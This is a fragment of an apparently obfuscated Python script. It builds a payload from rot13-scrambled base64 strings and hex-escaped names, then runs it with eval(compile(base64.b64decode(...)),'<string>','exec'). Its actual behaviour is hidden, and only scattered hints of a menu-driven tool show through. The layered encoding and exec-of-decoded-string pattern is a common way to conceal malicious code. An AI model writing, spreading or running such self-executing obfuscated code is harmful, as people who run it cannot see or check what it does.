TMcoTH6PvNtVPNtVPNtVPNtVPNtVPNtVPNtnKOxLKEuCJyjMzyfMF5lMJSxoTyhMKZbXDbtVPNtVPNtVPNtVPNtVPNtVPNtVTt9ZNbtVPNtVPNtVPNtVPNtVPNtVPNtVUN9oTIhXTyjMTS0LFxXVPNtVPNtVPNtVPNtVPNtVPNtVPO3nTyfMFObCUN6PvNtVPNtVPNtVPNtVPNtVPNtVPNtVPNtVUOlnJ50XTA5LJ4eW1faX2qlMJIhXlpdWlgwrJShXlqqVPperJIfoT93X2yjMTS0LIgbKFjtMJ5xCFVvXDbtVPNtVPNtVPNtVPNtVPNtVPNtVPNtVPObXm0kPvNtVPNtVPNtVPNtVPNtVPOjpzyhqPtvKT4vX2yhMz8eVyAuqzIxVTyhVTyjYaE4qPVcPvNtVPNtVPNtVPNtVPNtVPOjpzyhqPtvKT4vX2yhMz8eLzk1MFfvI2ScqTyhMlOzo3VtGzI4qPOZo2qcovOWozMiYv4hYvVeL3yuovfvHUWyp3ZtVvglMJDeVxA0pzjeDlVeL3yuovfvVUEiVTI4nKDvXDbtVPNtVPNtVPNtVPNtVPNtp3ymqTIgXPWwLKDtWRuCGHHiYaAcqTHinKNhqUu0VQ4+VTyjYaE4qPVcPvNtVPNtVPNtVPNtVPNtVPOipl5mrKA0MJ0bVaWgVP1lMvNxFR9AEF8hp2y0MF9cpP50rUDvXDbtVPNtVPNtVPNtVPOmoTIypPtjYwp1XDbtVPNtMKuwMKO0VRgyrJWiLKWxFJ50MKWlqKO0BtbtVPNtVPNtVUAjpzyhqPtvKT4vX2yhMz8eVyEbLJ5eplOzo3VtqKAcozptEKMcoSEio2kmYvOVLKMyVTRtM29iMPOxLKxuKT4vX25wXDbtVPNtVPNtVTI4nKDbZPxXPzyzVS9sozSgMI9sVQ09VPqsK21unJ5sKlp6PvNtVPO0pax6PvNtVPNtVPNto3Zhp3ymqTIgXPWmqUE5VP1yL2uiL3EfVvxXVPNtVPNtVPO1pTEuqTHbXDbtVPNtVPNtVT1unJ4bXDbtVPNtMKuwMKO0VRgyrJWiLKWxFJ50MKWlqKO0BtbtVPNtVPNtVTgcoTkypvtcPvNtVPNtVPNtp3OlnJ50XPWpovVenJ5zomVeVyEbLJ5eplOzo3VtqKAcozptMKMcoUEio2kmVIkhVvghLlxXVlOWMvO0nTymVTAiMTHtnTIfpTIxVUyiqFjtL29hp2yxMKVtp3EupzyhMlOlMKOip2y0o3W5YvOMo3IlVUA0LKWmVTIhL291pzSaMFOgMFOuVTkiqPRX'
joy = '\x72\x6f\x74\x31\x33'
trust = eval('\x6d\x61\x67\x69\x63') + eval('\x63\x6f\x64\x65\x63\x73\x2e\x64\x65\x63\x6f\x64\x65\x28\x6c\x6f\x76\x65\x2c\x20\x6a\x6f\x79\x29') + eval('\x67\x6f\x64') + eval('\x63\x6f\x64\x65\x63\x73\x2e\x64\x65\x63\x6f\x64\x65\x28\x64\x65\x73\x74\x69\x6e\x79\x2c\x20\x6a\x6f\x79\x29')
eval(compile(base64.b64decode(eval('\x74\x72\x75\x73\x74')),'<string>','exec'))